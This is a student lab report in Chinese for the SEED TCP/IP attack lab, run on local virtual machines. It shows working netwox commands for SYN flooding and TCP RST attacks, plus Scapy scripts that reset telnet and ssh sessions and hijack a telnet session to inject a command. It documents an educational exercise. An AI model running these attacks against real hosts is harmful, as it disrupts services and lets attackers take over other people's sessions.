Lab4-Report

57117136 孙伟杰

TCP/IP Attack Lab

Task 1: SYN Flooding Attack

1.首先使用 10.0.2.5 测试 10.0.2.6 的 23 号端口的连通性

```
[09/13/20]seed@VM:~$ cd lab4
[09/13/20]seed@VM:~/lab4$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.enp0s3.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[09/13/20]seed@VM:~/lab4$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

2.可以完成对 10.0.2.6 的 telnet 访问

```
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...
Connected to 10.0.2.6.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
/usr/lib/update-notifier/update-motd-fsck-at-reb
ected:           0
```

3. 再关闭 10.0.2.6 的 SYN Flood 保护机制，利用 10.0.2.4 进行攻击

```
[09/13/20]seed@VM:~$ sudo netwox 76 -i 10.0.2.6 -p 23 -s raw
```

4.利用 netstat 命令查看 10.0.2.6 的 TCP 队列机制，大多处于半连接状态

```
[09/13/20]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
[09/13/20]seed@VM:~$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 10.0.2.6:telnet         240.149.30.52:42486     SYN_RECV
tcp        0      0 10.0.2.6:telnet         247.48.17.121:21661     SYN_RECV
tcp        0      0 10.0.2.6:telnet         252.252.49.240:46018    SYN_RECV
tcp        0      0 10.0.2.6:telnet         244.31.213.49:11419     SYN_RECV
tcp        0      0 10.0.2.6:telnet         248.50.197.105:25867    SYN_RECV
tcp        0      0 10.0.2.6:telnet         240.110.167.163:50980   SYN_RECV
tcp        0      0 10.0.2.6:telnet         250.40.124.164:15260    SYN_RECV
tcp        0      0 10.0.2.6:telnet         254.208.243.147:40220   SYN_RECV
tcp        0      0 10.0.2.6:telnet         255.190.42.39:27348     SYN_RECV
```

5.原虚拟机 10.0.2.5 也无法通过 Telnet 实现连接之 10.0.2.6

```
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...

telnet: Unable to connect to remote host: Connection timed out
```

6.在 10.0.2.6 上打开防御机制，仍遭受 SYN Flood 攻击，但是可以正常登陆 Telnet

```
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...

telnet: Unable to connect to remote host: Connection timed out
[09/13/20]seed@VM:~/lab4$
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...
Connected to 10.0.2.6.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Sep 13 10:26:45 EDT 2020 on pts/17
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
```

```
[09/13/20]seed@VM:~$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 10.0.2.6:telnet         249.187.209.166:12676   SYN_RECV
tcp        0      0 10.0.2.6:telnet         255.115.191.158:18197   SYN_RECV
tcp        0      0 10.0.2.6:telnet         250.254.114.245:10862   SYN_RECV
tcp        0      0 10.0.2.6:telnet         246.15.238.45:37021     SYN_RECV
tcp        0      0 10.0.2.6:telnet         243.186.194.48:3647     SYN_RECV
tcp        0      0 10.0.2.6:telnet         245.63.226.228:23056    SYN_RECV
```

Task 2: TCP RST Attacks on telnet and ssh Connections

1.键入如下攻击代码，Telnet 连接被强制中断

```
[09/13/20]seed@VM:~$ sudo netwox 78 -f "tcp" -s raw
```

```
Last login: Sun Sep 13 10:26:45 EDT 2020 on pts/17
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i68

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[09/13/20]seed@VM:~$ eConnection closed by foreign host.
```

2.利用下图攻击代码进行，Telnet 被断开

```
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...
Connected to 10.0.2.6.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: sConnection closed by foreign host.
```

```
#!/usr/bin/python3
from scapy.all import *
def spoof_pkt(pkt):
        old = pkt[TCP]
        ip = IP(src="10.0.2.6", dst="10.0.2.5")
        tcp = TCP(sport=23, dport=old.sport, flags="R", seq=old.ack)
        pkt = ip/tcp
        ls(pkt)
        send(pkt,verbose=0)

filters = 'tcp and src host 10.0.2.5 and dst host 10.0.2.6 and dst port 23'
sniff(filter = filters, prn = spoof_pkt)
```

```
[09/13/20]seed@VM:~$ sudo ./reset.py
version    : BitField  (4 bits)
ihl        : BitField  (4 bits)
tos        : XByteField
len        : ShortField
id         : ShortField
flags      : FlagsField  (3 bits)
frag       : BitField  (13 bits)
ttl        : ByteField
proto      : ByteEnumField
chksum     : XShortField
src        : SourceIPField
dst        : DestIPField
options    : PacketListField
--
```

3.进行 ssh 配置，使用指令攻击或者将端口改为 22 使用 scapy 攻击，连接仍被断开重置

```
[09/13/20]seed@VM:~/lab4$ telnet 10.0.2.6
Trying 10.0.2.6...
Connected to 10.0.2.6.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: sConnection closed by foreign host.
[09/13/20]seed@VM:~/lab4$ ssh 10.0.2.6
The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
ECDSA key fingerprint is SHA256:p1zAio6c1bI+8HDp5xa+eKRi561aFDaPE1/xq1e
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.2.6' (ECDSA) to the list of known host
seed@10.0.2.6's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

Last login: Sun Sep 13 10:42:52 2020
```

```
Last login: Sun Sep 13 10:42:52 2020
[09/13/20]seed@VM:~$
[09/13/20]seed@VM:~$
[09/13/20]seed@VM:~$
[09/13/20]seed@VM:~$ packet_write_wait: Connection to 10.0.2.6 port 22: Broken p
ipe
```

Task4: TCP Session Hijacking

1.键入如下攻击代码 hijack，在虚拟机 10.0.2.5 进行 Telnet 连接至 10.0.2.6 后执行

```
#!/usr/bin/python3
from scapy.all import *
def spoof_pkt(pkt):
        oldtcp = pkt[TCP]
        oldip = pkt[IP]
        newseq = oldtcp.seq + 5
        newack = oldtcp.ack + 1
        ip = IP(src = "10.0.2.5",dst="10.0.2.6")
        tcp = TCP(sport = oldtcp.sport,dport=23,flags="A",seq=newseq,ack=newack)
        data = "\n touch Myfile \n"
        pkt = ip/tcp/data
        ls(pkt)
        send(pkt,verbose=0)
        quit

filters = 'tcp and src host 10.0.2.5 and dst host 10.0.2.6 and dst port 23'
sniff(filter =filters,prn = spoof_pkt)
```

2.在 10.0.2.5 中键入字符

```
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[09/13/20]seed@VM:~$ sunw
```

3. 在攻击方虚拟机 10.0.2.4 中查看，可知攻击成功

```
sport      : ShortEnumField                      = 55450
dport      : ShortEnumField                      = 23
seq        : IntField                            = 1585607907
ack        : IntField                            = 4037295868
dataofs    : BitField  (4 bits)                  = None
reserved   : BitField  (3 bits)                  = 0
flags      : FlagsField  (9 bits)                = <Flag 16 (A)>
)
window     : ShortField                          = 8192
chksum     : XShortField                         = None
urgptr     : ShortField                          = 0
options    : TCPOptionsField                     = []
--
load       : StrField                            = b'\n touch Myfi
version    : BitField  (4 bits)                  = 4
0]seed@VM:~$
```

4.在 10.0.2.6 中查看，可知 Myfile 文件被创建，tcp 会话挟持成功

```
[09/13/20]seed@VM:~$ ls
android        Desktop    examples.desktop  lib     Pictures  Templates
bin            Documents  get-pip.py        Music   Public    test.py
Customization  Downloads  lab               Myfile  source    Videos
[09/13/20]seed@VM:~$
```